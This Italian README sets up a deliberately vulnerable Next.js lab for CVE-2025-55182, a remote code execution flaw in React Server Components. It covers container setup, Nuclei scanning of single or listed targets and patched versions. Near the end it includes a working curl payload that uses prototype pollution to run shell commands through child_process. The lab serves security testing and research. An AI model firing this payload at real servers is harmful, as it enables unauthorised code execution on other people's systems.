
Un ambiente di test containerizzato per CVE-2025-55182, una vulnerabilità critica (10.0 CVSS) di esecuzione remota di codice in React Server Components.
Un ambiente di test containerizzato per CVE-2025-55182, una vulnerabilità critica (10.0 CVSS) di esecuzione remota di codice nei React Server Components.
Questo ambiente è intenzionalmente vulnerabile e dovrebbe essere utilizzato SOLO per:
NON:
Pacchetti React:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Build and start the vulnerable environment
podman compose up --build -d
# Check it's running
curl http://localhost:3000/api/status
# View logs
podman logs -f react2shell-vuln
# Stop
podman compose down
# Build and start the vulnerable environment
docker-compose up --build -d
# Access the application at http://localhost:3000
.
├── README.md # Questo file
├── Dockerfile # Istruzioni per la build del container
├── Dockerfile.dev # Container di sviluppo con ricarica a caldo
├── docker-compose.yml # Configurazione Docker/Podman Compose
├── CVE-2025-55182.yaml # Template dello scanner Nuclei
├── scan.sh # Script scanner Nuclei generico
├── scan-results/ # Directory di output delle scansioni
└── vulnerable-app/ # Applicazione Next.js vulnerabile
├── package.json # Dipendenze (versioni vulnerabili)
├── next.config.js # Configurazione Next.js
├── tsconfig.json # Configurazione TypeScript
└── app/ # Pagine e componenti App Router
├── layout.tsx # Layout principale
├── page.tsx # Pagina principale con Server Components
├── globals.css # Stili globali
├── actions.ts # Server Actions
├── api/status/ # Endpoint API di stato
└── components/ # Componenti React
Se non hai il template, scaricalo dal repository ufficiale nuclei-templates:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
Lo script scan.sh incluso è uno scanner generico per container Nuclei che funziona sia con Docker che con Podman.
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# Scan with all Nuclei templates
./scan.sh -u https://example.com
# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# Filter by severity
./scan.sh -u https://example.com -s critical,high
# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
Una volta che il container è in esecuzione:
http://localhost:3000http://localhost:3000/api/statusNota: La vulnerabilità coinvolge una deserializzazione non sicura nel protocollo RSC. Il template Nuclei testa questo specifico vettore d'attacco.
Per testare la versione corretta, modifica il file vulnerable-app/package.json:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
Quindi ricostruisci:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
Questo ambiente di test è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza. I manutentori non sono responsabili per qualsiasi uso improprio di questo software. Ottieni sempre la dovuta autorizzazione prima di testare vulnerabilità di sicurezza.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| Opzione | Descrizione |
|---|
-u, --url <url> | Singolo URL di destinazione da scansionare |
-l, --list <file> | File contenente un elenco di URL di destinazione |
-t, --template <file> | File o directory di template personalizzato |
-o, --output <dir> | Directory di output (predefinita: ./scan-results) |
-s, --severity <level> | Filtro: info, low, medium, high, critical |
-r, --rate-limit <n> | Numero massimo di richieste al secondo |
-j, --json | Output dei risultati in formato JSON |
-v, --verbose | Output verbose |
-h, --help | Mostra il messaggio di aiuto |